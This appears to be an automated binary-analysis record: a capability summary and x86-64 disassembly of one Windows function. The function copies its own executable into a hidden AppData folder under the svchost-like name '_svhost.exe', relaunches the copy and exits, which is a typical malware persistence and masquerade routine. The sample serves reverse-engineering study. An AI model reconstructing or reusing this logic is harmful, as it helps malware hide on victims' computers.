Function at 0x1400020a0
Capabilities:
Check if file exists
Create directory
Create process on windows
Get common file path
Get file attributes
Move file
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x14000262b
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp - 0x40]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002117
movabs r13, 0x7fffffffffffffff
cmp rbx, r13
ja 0x140002673
movabs rax, 0x8000000000000000
mov ecx, 0x16
mov edi, 0xf
cmp rbx, rdi
ja 0x140002171
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x1400021fd
mov rsi, rbx
or rsi, rdi
cmp rsi, r13
jbe 0x14000219e
mov rsi, r13
add rax, 0x27
mov rcx, rax
call fcn.1400031a8
test rax, rax
je 0x1400021c1
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400021da
cmp rsi, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1400021c8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002661
jmp 0x140002183
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400021d7
call fcn.1400031a8
mov r14, rax
jmp 0x1400021da
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
mov r8, rbx
lea rdx, [rbp - 0x40]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140002850
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000224d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002248
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400031a0
movdqa xmm0, xmmword [0x1400057e0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r14, qword [rsp + 0x68]
mov rax, r13
sub rax, r14
cmp rax, 0xb
jb 0x140002679
lea r12, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r12, qword [rsp + 0x58]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea r15, [r14 + 0xb]
mov rbx, rdi
lea rsi, [rbp - 0x68]
cmp r15, rbx
jbe 0x14000231f
mov rbx, r15
or rbx, 0xf
cmp rbx, r13
jbe 0x1400022e1
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400031a8
test rax, rax
je 0x1400025de
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000231b
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000230a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002667
jmp 0x1400022c2
test rcx, rcx
je 0x140002319
call fcn.1400031a8
mov rsi, rax
jmp 0x14000231b
xor esi, esi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], rbx
mov r8, r14
mov rdx, r12
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.marker.txt]
movsd qword [rsi + r14], xmm0
movzx eax, word [0x140005538]
mov word [rsi + r14 + 8], ax
movzx eax, byte [0x14000553a]
mov byte [rsi + r14 + 0xa], al
mov byte [rsi + r15], 0
mov r15, qword [rsp + 0x68]
mov rax, r13
sub rax, r15
cmp rax, 0xb
jb 0x14000265b
lea r14, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r14, qword [rsp + 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea rsi, [r15 + 0xb]
lea rbx, [rsp + 0x78]
cmp rsi, 0xf
jbe 0x140002421
mov rdi, rsi
or rdi, 0xf
cmp rdi, r13
jbe 0x1400023e2
mov rdi, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400031a8
test rax, rax
je 0x14000258b
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000241c
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000240b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000266d
jmp 0x1400023c3
test rcx, rcx
je 0x14000241a
call fcn.1400031a8
mov rbx, rax
jmp 0x14000241c
xor ebx, ebx
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rdi
mov r8, r15
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._svhost.exe]
movsd qword [rbx + r15], xmm0
movzx eax, word [0x140005750]
mov word [rbx + r15 + 8], ax
movzx eax, byte [0x140005752]
mov byte [rbx + r15 + 0xa], al
mov byte [rbx + rsi], 0
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400024b3
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rcx, qword [rsp + 0x58]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r8d, 0x104
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x78]
mov r9, qword [rsp + 0x78]
mov r10, qword [rbp - 0x70]
cmp r10, 0xf
cmova r8, r9
lea rax, [rbp + 0xd0]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002503
inc rax
test ecx, ecx
jne 0x1400024f0
test edx, edx
je 0x140002560
lea rcx, [rsp + 0x78]
call fcn.140002740
mov rdx, rax
mov r8d, 9
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rcx, [rsp + 0x78]
call fcn.140002740
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp r10, 0xf
jbe 0x14000259a
lea rdx, [r10 + 1]
mov rax, r9
cmp rdx, 0x1000
jb 0x140002592
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002592
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r9
call fcn.1400031a0
movdqa xmm0, xmmword [0x1400057e0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x1400025eb
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400031a0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000262b
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002626
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002626
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400031a0
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140003180
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.1400011a0
nop
call fcn.1400011a0
int3